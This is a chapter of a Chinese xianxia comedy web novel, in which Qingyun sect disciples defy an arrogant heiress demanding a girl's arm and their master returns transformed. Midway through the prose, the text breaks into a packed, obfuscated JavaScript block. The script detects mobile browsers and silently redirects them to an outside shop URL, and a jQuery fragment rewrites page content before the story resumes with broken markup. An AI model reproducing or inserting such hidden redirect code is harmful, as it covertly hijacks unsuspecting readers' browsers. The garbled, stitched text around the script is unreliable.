32. 第 32 章
作品:《没有主角光环,但是女主》 荀家大小姐满脸笑吟吟,目光在江莳身上逡巡:“让我想想,你当时用的,是左手,还是右手呢?”
范飞白眉心一跳。
要死,明州要办试剑大会,地点放在临川,表面上看风光无限,可城主府作为承办方,要统筹规划,实际上他根本就是焦头烂额,生怕出什么错漏。
谁知道眼见着试剑大会明天就要正式开始了,今日却还是出了事。
但是这事情,一头是长庆荀氏,一头是青州青云门,同属仙门五绝,根本不是他一个小小城主能得罪得起的。
范飞白额头上豆大的汗珠沿着侧脸滑下。
范飞白不知该怎么办,江莳却当场就要怒了。
她是个一根筋的剑修,救人出自于本心,生平又最痛恨仗势欺人。
她自问没错,荀家大小姐却还要不依不饶,一定要向她讨个说法。
偏偏她又不喜欢与人辩论。
江莳很快做下决断,她决定用拳头同荀家大小姐讲讲道理。
于是就要上前一步,道:“我……”
话刚说出口,步伐也还没来得及迈出去,就被叶岑拽住了。
叶岑非但拽住她,还拍拍她的拳头:“小孩子遇事强出头做什么?大人的事情就要留给大人解决。”
——叶岑因为先认识的江荨,瞧着江莳一张娃娃脸,虽然知道她一剑下来能劈死两个自己,也知道她很有自己的主见,还是忍不住拿她当小妹妹。
但叶岑也知晓,这种事情,事关长庆荀氏,她一个新入门的弟子也不好出头。
云何意不在这,当然还是要宋显出面。
她这样想着,向宋显看去。
宋显正望着远处河边的河灯,思绪早不知飘到哪里去了。
叶岑:“?”
叶岑:“psi——psi——”
宋显回过神来。
叶岑向他眼神示意。
宋显了然,轻点了点头。
叶岑于是放下心来。
宋显道:“可以。”
叶岑:“?”
江莳:“??”
范飞白:“???”
叶岑疑心自己听错了。
但是宋显上前一步,一字一句重申:“你要砍下她一只手,可以。”
叶岑呆立当场,石化了。
宋显却话锋一转,继续道:“但是我们青云门也有规矩,若有人伤了我派弟子,不论是谁,都要他偿命的。”
叶岑:“??”
青云门什么时候有这样的规矩了啊淦!这分明是威胁吧!这岂不是要把事情闹大吗!
可是这样子……真的……好!爽!啊!
宋显:“荀家有荀家的规矩,青云门有青云门的规矩,我们同为五绝,理当互相尊重,所以,就都按彼此的规矩来吧。”
宋显:“现在是江莳已经杀了你的灵蛇,而你还没有伤她。所以你先来。等你砍下了她的手,我再来要你的命。”
宋显:“快动手吧。夜已深,明日我们还要参加试剑大会,想早点回去修整——你要自己动手,还是让你手底下的人来?”
叶岑:“……”
叶岑忽然有些想明白了,为什么青云门中,大家都称宋显为“芝兰玉树宋隐之”。
大抵他自小长在尘中阁,不太与人接触,平素并不爱说话。
因此,也就从没有人发现,他其实好会呛人。
会呛人的宋显杀人诛心,将荀家大小姐和她身后的侍女们都扫视一遍,补上最后一句:“怎么?迟迟不动手,是没带趁手的法器吗?用不用我借给你?”
荀家大小姐的脸已经彻底黑了。
原本,她其实也不是一定要那女修一条手臂,只是她在荀家骄纵惯了,从来不许别人冒犯的。那人当着那么多凡人的面斩了她的灵蛇,这和当众打她的脸有什么区别?她说要她一条手臂,其实也只不过想借着荀家威势,让她服个软,向自己道歉罢了。
可那个青云门的弟子,却真让她去砍人家一条胳膊,岂非让她骑虎难下?
这也就罢了,他还如此轻飘飘地说着挑衅的话。
荀家大小姐捏着玉笛的手,用力到隐隐发抖。
正僵持间,一个声音朗笑道:“这里好生热闹,还好我来得巧,不然错过了这热闹,岂非一大憾事?”
声音落下,只见一男子从天而降,身形飘逸,白衣飘然,宛若谪仙。
那男子先向范飞白作揖:“范城主,门中一些临时的事务将我绊住了,因此来得迟了,实在抱歉。”
范飞白却显然松了一口气,八字眉都肉眼可见地舒展开了:“无妨无妨的,自然是门中事务要紧,云长老。”
云长老?哪个云长老?叶岑觉得这男子声音有点耳熟,说话的语调却从未听闻过。
正在这时,男子转过身来,赫然是她不久前不声不响就失踪了的师尊云何意!
叶岑:“?”
叶岑:“??”
叶岑:“???”
脸确实是云何意的脸,但是……帅哥你谁?
叶岑先前见到的云何意,酒不离身,胡子拉碴,整个人都散发出一股颓废大叔的气质。就拿仙人阁裴无衣长老做个比照吧,她师父虽然甚至是裴长老的师弟,但站在一起时,瞧着实在不像一对师兄弟,而像叔侄——
云何意是叔,裴无衣是侄。
但是此刻呢,云何意脸上拉碴的胡须都被刮干净了,放荡不羁的头发不但被梳理得整整齐齐,还拿一根剔透白玉簪挽了——
完完全全就是个白面仙修嘛!
——所以,他消失的那段时间,就是去给自己理发的?
白面仙修云何意,抬着叶岑的下巴将她惊讶的嘴合上:“皮相皆是虚妄,不要太沉迷于为师的美色。”
然后转过身去,目光从脸青一阵红一阵的荀家大小姐、满头虚汗的范飞白、满脸写着嫌弃的宋显、骚包金孔雀金行之和一脸视死如归的江莳身上一一扫过:“你们这些小孩,又给我闯什么祸了?”
话是向着宋显问的,人却还在回味叶岑方才惊诧的表情,一边回味,一边风情万种地向她眨了眨右眼。
叶岑浑身一个机灵,还魂了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885650|190790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她忽然意识到,云何意回来了!她是有师父撑腰的人了!
既然有人撑腰!那么,是时候表演真正的技术了!
叶岑嘴角一勾,深吸一口气,开始装腔作势:“师——”
话刚说出口,却听到另一个百转千回的声音覆盖了自己的,一偏头只见金行之已经扑进了云何意的怀里,扯着他的袖子,嚎啕开了:“师叔——那个荀家大小姐,她生怕明天小江师妹在试剑大会上抢了她的风头,现在借故要先废了她一只手呢!!!”
叶岑:“?”
荀家大小姐气得脸都白了:“你!胡说八道!”
金行之:“我胡说八道?上一届试剑大会,就是你们荀家夺得魁首,怎么?上得了高台却怕受不住,又不肯下来,因此瞧见我小师妹是个后起之秀,就不敢与她相争,而要使这种下作手段吗?呜呼!想我们小江师妹,心底善良,一心向道,此次初下青云山,其他人都叫临川城的花灯迷了眼,师妹却心细如尘,在这一片繁华声中,还能注意到一对落难的母子,毫不犹豫地出手相助!而荀道友你呢?同为仙门中人,不出手相帮也就算了,还借此生事,咄咄逼人,要砍下我们小师妹的一条手来!砍下了一条手臂,或许他日,小师妹还能有机缘重回巅峰,但是下次再有人落难时,我师妹要出手相帮,会不会再次想到今日之事?会不会有片刻迟疑?会不会因此错过了救助了最佳的时机,以致另一对无辜的母子阴阳相隔?”
金行之看向荀大小姐,涕泪涟涟:“荀大小姐,你失去的不过是一条灵蛇的性命,可我小师妹她,却失去了继续行善的勇气啊!你好歹毒的心!!!”
叶岑:“。”
叶岑识相地闭上了自己的嘴。
她甚至有些同情荀家大小姐,怜悯的目光向她望去。
荀家大小姐站在她家游船的栏杆边,气得身形一晃,差点摔下传去,好在被身后的侍女一扶,才勉强站稳了。
气得一口血喷出来,手指着金行之,指尖微微颤抖:“你——”
就说不出话来。
她说不出话来,大家都善解人意地瞧着她,等她说下去。
一时间,河面上陷入了沉寂。
良久,还是江莳先开了口:“其实——”
众人回过头去,只见江莳没什么表情的一张脸上,眼睛显得尤为亮晶晶,里头装着三分热切,三分感动,还有四分含羞带怯。
江莳:“其实,我也没有金师兄说的那样好。”
江莳害羞道:“我只是当时心中想着一套剑法,想得太入神,忽然听到有人呼救,下意识的反应。”
叶岑:“……”
你清醒一点,你金师兄他根本不是想夸你,他只是在和别人吵架。
要说不说,江莳扛着一把重剑打架时有多凶猛,私下里为人就有多单纯,这种大人颠倒黑白的肮脏战场,还是不要掺和的好。
叶岑想把她拉回自己身边,刚伸出手,忽然听到一声怪叫。
云何意蹿到江莳跟前:“什么剑法?是三天前裴师兄传授与你的那套剑法吗?”
叶岑:“?”

